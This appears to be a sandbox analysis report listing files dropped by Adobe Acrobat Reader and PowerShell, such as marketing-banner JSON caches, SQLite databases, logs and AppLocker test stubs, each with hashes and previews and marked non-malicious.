C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.270789836757694
Encrypted:	false
SSDEEP:	6:YEQXJ2HXy1CDfYnWsGiIPEeOF0YTUoAvJf8dPeUkwRe9:YvXKX/DpsdTeOznGU8Ukee9
MD5:	2E8882052E098088D1D313535C38152C
SHA1:	B008625099736D76FFA4D662FC5B7473C28707E4
SHA-256:	C70F75893F3D53E63F7E9459B1D2E6FA36C86FFDEB1AA04C2796DE793C193C55
SHA-512:	B88306DB8A7761A83430409F4626D44B419195AD77062984175B1CD3C367B789E924F6FA7B6BB5009CB9CEF3794AC54EE81625683B19DE281012129361E9DE3E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.275281376194279
Encrypted:	false
SSDEEP:	6:YEQXJ2HXy1CDfYnWsGiIPEeOF0YTUoAvJfQ1rPeUkwRe9:YvXKX/DpsdTeOznGY16Ukee9
MD5:	027AD5F2FEAD91C907808D7DA2F67307
SHA1:	96A781E15457462B944074D348F9AA69772868E9
SHA-256:	716C6552D1E776B48D9F218C6A363307003E5A75E1CAFB3F55AAAE87B4509CE9
SHA-512:	EFF28B5A6B0D6C9B478F8A7BAA2E387C697B07ED14351F14E05C85D4E51E3E46338B26D2105887C651D190254C28411C81F9534FFBBC123928E96F3A891FF0C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290251041816999
Encrypted:	false
SSDEEP:	6:YEQXJ2HXy1CDfYnWsGiIPEeOF0YTUoAvJfFldPeUkwRe9:YvXKX/DpsdTeOznGz8Ukee9
MD5:	98C136465AA3FC59D9D44D0BBC97EDE5
SHA1:	79E45C726BFAD78F489DB16E36E414B3980F134A
SHA-256:	7C5E9F0F96EF7B21FC7FF18FF0D9342E2AEAC374DB7C1752700A4AA81F8D3F43
SHA-512:	919B95F18BDE3639F1BBFA8D33E41A749E015403439AF30FE3FBDFB8753C9DE33BA2C9D5111046C8E923B903F202E43E54D10D141CEA9BB8A551311476F0DAC3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.29724416312563
Encrypted:	false
SSDEEP:	6:YEQXJ2HXy1CDfYnWsGiIPEeOF0YTUoAvJfzdPeUkwRe9:YvXKX/DpsdTeOznGb8Ukee9
MD5:	A99C36FDD60AADA865D361F9935B41A2
SHA1:	B6117F73F65D0FEEDF94E442357FBA7249AB5588
SHA-256:	CC05C0AEBFFA9C6803AA1C0B632DCC3BB3319FA9B08FFBDBED65416139BC048E
SHA-512:	B38C1824C25AE6592950D69DEE83B3D457E8361E674F5723042D8DEA3F84DF1185937E6F838AFFF2AC795C8472AEBA94789C86D9F5122D3DD3E97BE4BC9ACC6B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.27770615592701
Encrypted:	false
SSDEEP:	6:YEQXJ2HXy1CDfYnWsGiIPEeOF0YTUoAvJfYdPeUkwRe9:YvXKX/DpsdTeOznGg8Ukee9
MD5:	A6A1CE8DDCEE35310C61F616980F9074
SHA1:	4925985578E47E05E3F85E4BD10AFABAE12937EB
SHA-256:	8CA732CE8850FB7377EF8CA7BA6D0598766B6971A07C36E2466EB112345320C5
SHA-512:	F2EBD7B24F552B966E7544A55F8ACB31581397F6B6D154083192D5D6115AC42144EFEAE7848F5458A0A74B3889837D02497A5A5E98064F8C1B264AC8A7A6E837
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.263663022422719
Encrypted:	false
SSDEEP:	6:YEQXJ2HXy1CDfYnWsGiIPEeOF0YTUoAvJf+dPeUkwRe9:YvXKX/DpsdTeOznG28Ukee9
MD5:	89C1BCF41CDA94426E2618CC0F334FE3
SHA1:	FBED47AA1496838935FE18B3031BDB70E08FAFFE
SHA-256:	E3CC905BF0F4281D4CECED5AA20C4291B3ADBB879F52072F6AA390B829274FA7
SHA-512:	71C6D4437C5A5BA73964C27E2303E4F63B497838DE0832706DDFA4FAE9958A510687384C800EFD9954F4F3215040F4823D2562C04848295D504B92D978387AD7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.261406475896908
Encrypted:	false
SSDEEP:	6:YEQXJ2HXy1CDfYnWsGiIPEeOF0YTUoAvJfbPtdPeUkwRe9:YvXKX/DpsdTeOznGDV8Ukee9
MD5:	5E718964DC76A0261A5C4FC597CDF8B5
SHA1:	9FB5F831095A289B74672632B45839FCECD53BA0
SHA-256:	933B8CC3F7E36BBC3CB5BE4CD58569C293EE3B565EF47C517077FAD0B744CC4F
SHA-512:	F7D7FCA627FE8515BE37117BBFD95FB7AC2DAED38F6475B3FEC52CDCF79FFEF586D96F439125DD3AF173DA9F598703322FCE3A7E63E7F687B6B123D6DBD942AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.266045214025615
Encrypted:	false
SSDEEP:	6:YEQXJ2HXy1CDfYnWsGiIPEeOF0YTUoAvJf21rPeUkwRe9:YvXKX/DpsdTeOznG+16Ukee9
MD5:	B93E18F763731AD4C2C99C0EB4E179D5
SHA1:	0033C6803A6225AB78588719C222CFF6A854DC62
SHA-256:	7152D49D1BA250D0F58CD4D6E6AB91A328F870ABD13C290D52EFFA6DC60751FB
SHA-512:	9F5B13814ADCC4CCE1C2FEB8C1210EE9EA118902311C9EADA28EF5E270255D6F55870BC395C0324EC3CADB3F46E576B66A5F5FD56D02F4934167F0DE24426F1B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6552923756203715
Encrypted:	false
SSDEEP:	24:Yv6X1meOzYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSB:YvNeyeBgkDMUJUAh8cvMB
MD5:	17B7F0A05EC0A42E374131FC6AF16CAC
SHA1:	D8574D1935E774062782920B74C1A35596EA8F2A
SHA-256:	8B63DF0AC549E4C20C04C84E537ED9A72E3955F49585E0A8D038EDD5010C3C55
SHA-512:	409826D90B0983E28954AE55ECBC943E6B13E774C84E1B4E0227AA62DE1DD163CF2F969F2BF738CC46705C67EC42223C1B60F1CF2BC7927E1101DB968A8DC59C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.24131220070637
Encrypted:	false
SSDEEP:	6:YEQXJ2HXy1CDfYnWsGiIPEeOF0YTUoAvJfshHHrPeUkwRe9:YvXKX/DpsdTeOznGUUUkee9
MD5:	BDB0FE04D71775C5857CD81E6914312C
SHA1:	8576A60BF9E929B173500BD6F8F2F91B0732319B
SHA-256:	FFC07CB38937E0F4B6529FB3FFC469A7880665584C4D270C43D1B96CAE6C462C
SHA-512:	E96896FF0E03A1C93587EBF196E8A7BC9D41124E13D15ADB008417083D66CFBE8548265B611F6A2122B7F258458915947A1764EF7524F7AE7170283C56CE64F7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.261343505717334
Encrypted:	false
SSDEEP:	6:YEQXJ2HXy1CDfYnWsGiIPEeOF0YTUoAvJTqgFCrPeUkwRe9:YvXKX/DpsdTeOznGTq16Ukee9
MD5:	0130F1B98FB1228B0C22C93719B007A4
SHA1:	85456EE0353DE296370D38D4DA7F47CD2875A0DE
SHA-256:	DDC4F212844EC19160F66502A2B9E1F028A4C10C0DF4210C7904575B3C278ACB
SHA-512:	742C52EDEF7289BCF43A68B3DE917FF99062B8E65B3B64AF75C3B9B2B775DD22597BEFBCB0700C89A09C2CEC27B0F61D2C52EC3A5B1EF8C8F6F1712992B576BE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144024365021312
Encrypted:	false
SSDEEP:	48:YkBgC9YjsBZA3Kum6hcr8EuySSoSh4YnJ0SoTE4r9Q62Gu:/BF9msBZA3Kum6ar8E/SmrJ0SoT3Q62X
MD5:	D87010EFC037965D4061D365CAA74142
SHA1:	E484F617A26BE50AFC1068DC85398BCF598E7ED0
SHA-256:	54E7D734916684499462F80FCDDAA21A65A13AD95BA33F6C9FB49B2E800D20AA
SHA-512:	694708B44B09FB6C892FD6F26CAA48DE7DAAA54BF387A75E31B764BBF306CC53F728185FB77B1C26074574E2869229508B5DE18DE0C44F616FB20447B1D0749A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"49ef81b4ad82d7bf6e793a33d2188186","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558198000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f545aaadc3a85195bdc886d43c70ab93","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558198000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"39fce2034ee97a5075f676ee54f2fde0","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736558198000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"18324d794a1a03659ee95cd2457d5e97","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558198000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"256dfe6e278e1ea9aa73ee6aa70ad790","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736558198000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"21c86dcd5d4968b9388e27c1c419bc2f","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4538657314128312
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsDZlRF:lNVmsw3SHtbDbPe0K3+fDZdUlF
MD5:	1F0C5B9DCDE1F41841EBD8CC0487797D
SHA1:	EAE584FA72F43BCFD6EB5358884543B2C43FCAC8
SHA-256:	E676FCFD816C34D583CDB077C4F3EECF4B3E4D910C2DDA7BDB0C926FE0C370E4
SHA-512:	9F8FE10AD2C099A987E3D333C664130662A1A6133D40EB55FF57D0CE331215E1A15B403DAF5DF8CDDCF2310FDD8F0ADE448110AEAEA9D61A7FB6E54C3BE62B17
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.957206878193948
Encrypted:	false
SSDEEP:	48:7MBrvrBd6dHtbGIbPe0K3+fDy2dsDseqFl2GL7ms1:7o3SHtbDbPe0K3+fDZdUdKVms1
MD5:	F64A13522FE571A7E9C5CEC46C060EE3
SHA1:	ECB3439A1B821DB153AE2570DDBE9A8B62A38E4D
SHA-256:	51F1A69172EFFDCF4CE446870459D25BCB2CE485132447CE2EEEC14E95F75CD2
SHA-512:	FB3CF2FE13D1791BBD4AD7D18041E9B2E547AF6CE9E766E6F57D3D78710D0392CFEEF822516CAC3BF6C8E88C9053DDAE84B73E0C277218903C8400A1F9107761
Malicious:	false
Preview:	.... .c......8........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgghD2x4lV6ZpKpXqta/p4p38i/dxYyu:6a6TZ44ADEghD26lVWkL838CnK
MD5:	7A1C54F1FA716439260DE9ABB97F7823
SHA1:	90CAC1C8D9FE506AB3E12F66045D943C0E78CB0F
SHA-256:	F0C513EAFB290B82542AF3CF29ABB4F1EFDAD040A4F172F944B4C2AD24FB63CE
SHA-512:	8DE014BEBB712C15D87F060A37BE92168CFC591C11ACC41219BBF6B8E0073A6E6D86BC81383717838C9837ED67C6AC2101A4556227850E8867AEEACEA1601E28
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI14142.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5193370621730837
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClYyw:Qw946cPbiOxDlbYnuRK+blyw
MD5:	798AD1FC096A207082841835C00708D1
SHA1:	EFCFCA52B04B257907B00D298B9F609905C7DB75
SHA-256:	078E4CAB1D3868A61F22837D24813FA177547B6A7ED40FFB7960E5A2129E29A4
SHA-512:	5A9C468E9B418BDD8F21A0B44985D810D5A36B08BA4376F401899D8923174B05573DFE84AA9B23E249CFAA89846EAFAE21A3D667BAD248A961B82C95DFDF4CD1
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.1.6.:.3.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fzpebp5e.deq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ryhqqzj0.rdn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-16-32-174.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.375930329591132
Encrypted:	false
SSDEEP:	384:R1ETMv0hRcV3sZ5EgCSQcTM1pTidWXjRPcfjZtZP7BIoSznMSD48iviT2JXqKfvr:uo+
MD5:	5ADAB799C98F8F26CAFF2BE638A3CF6F
SHA1:	D8D032AE235F3F98095A5A414F1A4ECC8DC80DFE
SHA-256:	A498CFF6B0962D1BB2461301F7D8A182010EFD8110BA52521DE3603AB17D4127
SHA-512:	E543C821291EA03A4AE16E07247145A0129D5EB55C992733E1A0A446024D7F8B2838BCB33624053AD5FF3842F1665B3C8F6E88D612ADA7FB1B5E093F11511D39
Malicious:	false
